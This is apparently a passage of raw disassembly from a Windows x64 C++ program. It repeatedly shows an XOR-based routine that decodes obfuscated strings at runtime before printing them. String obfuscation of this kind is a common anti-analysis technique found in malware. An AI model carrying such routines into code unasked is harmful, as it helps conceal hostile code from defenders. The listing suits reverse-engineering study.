psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400316c0
cmp r8d, 0x2e
jge 0x14003180f
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400317e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140031835
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x74], 0xff
mov dword [rbp + 0x7c], 0xff
mov qword [rbp + 0x80], r15
mov dword [rbp + 0x88], 0xff
movups xmm0, xmmword [0x1401ff340]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff350]
movups xmmword [rbp + 0x220], xmm1
movsd xmm0, qword [0x1401ff360]
movsd qword [rbp + 0x230], xmm0
mov eax, dword [0x1401ff368]
mov dword [rbp + 0x238], eax
movzx eax, word [0x1401ff36c]
mov word [rbp + 0x23c], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140031a27
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140031920
cmp r8d, 0x2e
jge 0x140031a6f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140031a40
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140031a95
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x74]
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140031ae4
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032069
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032064
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp eax, 4
jne 0x14002df18
movups xmm0, xmmword [0x1401ff370]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff380]
movups xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [0x1401ff390]
movups xmmword [rbp + 0x230], xmm0
mov eax, dword [0x1401ff3a0]
mov dword [rbp + 0x240], eax
movzx eax, word [0x1401ff3a4]
mov word [rbp + 0x244], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140031d07
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140031c00
cmp r8d, 0x36
jge 0x140031d4f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x140031d20
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x288]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x8c], 0xff
mov dword [rbp + 0x94], 0xff
mov qword [rbp + 0x98], r15
mov dword [rbp + 0xa0], 0xff
movups xmm0, xmmword [0x1401ff3a8]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff3b8]
movups xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [0x1401ff3c8]
movups xmmword [rbp + 0x230], xmm0
mov eax, dword [0x1401ff3d8]
mov dword [rbp + 0x240], eax
movzx eax, word [0x1401ff3dc]
mov word [rbp + 0x244], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140031f37
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140031e30
cmp r8d, 0x36
jge 0x140031f7f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x140031f50
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140031fa5
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x8c]
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140031ff7
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032069
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b53
call fcn.1400b7470
lea rdx, [0x1401fef38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
movups xmm0, xmmword [0x1401ff3e0]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [0x1401ff3f0]
movups xmmword [rbp + 0x298], xmm1
movzx eax, word [0x1401ff400]
mov word [rbp + 0x2a8], ax
movzx eax, byte [0x1401ff402]
mov byte [rbp + 0x2aa], al
mov r8d, r15d
cmp r13d, 2
jl 0x14003221b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140032110
cmp r8d, 0x23
jge 0x14003225f
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140032230
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140032285
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xa4], 0xff
mov dword [rbp + 0xac], 0xff
mov qword [rbp + 0xb0], r15
mov dword [rbp + 0xb8], 0xff
movups xmm0, xmmword [0x1401ff408]
movups xmmword [rbp + 0x2d8], xmm0
movups xmm1, xmmword [0x1401ff418]
movups xmmword [rbp + 0x2e8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14003249f
cmp r13d, 2
jl 0x140032464
movdqa xmm5, xmmword [0x140201780]
mov edx, r15d
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x2dc]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140032360
jmp 0x14003249f
lea r9, [rbp + 0x2d8]
mov r8d, r15d
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140032470
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x2d8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400324c5
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0xa4]
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140032517
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032589
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032584
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b5a
call fcn.1400b7470
lea rdx, [0x1401fc72c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
movups xmm0, xmmword [0x1401ff428]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [0x1401ff438]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff440]
mov word [rbp + 0x208], ax
cmp byte [0x1401ff441], 0
je 0x14003277f
mov r8d, r15d
cmp r13d, 2
jl 0x14003273b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140032630
cmp r8d, 0x1a
jge 0x14003277f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140032750
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400327a5
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xbc], 0xff
mov dword [rbp + 0xc4], 0xff
mov qword [rbp + 0xc8], r15
mov dword [rbp + 0xd0], 0xff
movsd xmm0, qword [0x1401ff448]
movsd qword [rbp + 0x348], xmm0
mov eax, dword [0x1401ff450]
mov dword [rbp + 0x350], eax
movzx eax, word [0x1401ff454]
mov word [rbp + 0x354], ax
movzx eax, byte [0x1401ff456]
mov byte [rbp + 0x356], al
mov r8d, r15d
cmp r13d, 2
jl 0x140032959
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff448]
pxor xmm2, xmm1
movd dword [rbp + 0x348], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34c]
pxor xmm2, xmm1
movd dword [rbp + 0x34c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x348]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140032970
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x348]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400329c5
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0xbc]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
